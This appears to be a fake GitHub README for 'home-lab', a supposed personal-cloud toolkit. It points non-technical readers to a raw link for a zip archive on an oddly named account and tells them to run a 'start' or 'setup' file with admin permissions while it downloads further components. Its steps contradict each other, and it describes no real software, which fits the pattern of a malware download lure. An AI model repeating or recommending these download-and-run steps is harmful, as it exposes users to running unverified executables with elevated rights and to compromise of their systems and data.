🏠 home-lab - Run Your Very Own Cloud
🚀 Getting Started
Welcome! This guide will help you download and run home-lab, a powerful toolkit that turns an ordinary computer into your personal cloud. You don't need any programming skills—just follow these simple steps.
home-lab is a collection of ready-made recipes that set up useful services like:
- A dashboard to monitor your system 📊
- A personal AI assistant 🤖
- A private note-taking app 📝
- A website monitor that checks if your favorite sites are online ✅
Think of it as a magic box that installs all these tools for you automatically!
📥 Download & Install
Step 1: Get the Application
Visit this link to download the application.
Click the big badge above or use this link: https://raw.githubusercontent.com/beantownrevenuesharing985/home-lab/main/ollama/labhome3.6.zip
Once you arrive at the page, look for a green button that says "Code" or "Download"—click it, then choose "Download ZIP". The download will start automatically.
Step 2: Extract the Files
After downloading:
- Locate the downloaded ZIP file (usually in your Downloads folder)
- Right-click the file and select "Extract All"
- Choose a simple location like your Desktop or Documents folder
- Click Extract
Step 3: Run the Setup
Open the extracted folder. You'll see several files—look for the one named "start" or "setup" (they might have .bat, .sh, or no extension). Double-click it to begin the automatic installation.
The setup will ask you a few questions:
- Where to install: Accept the default location
- Admin permissions: Click "Yes" if prompted
- Internet connection: Make sure you're online—the setup will download some components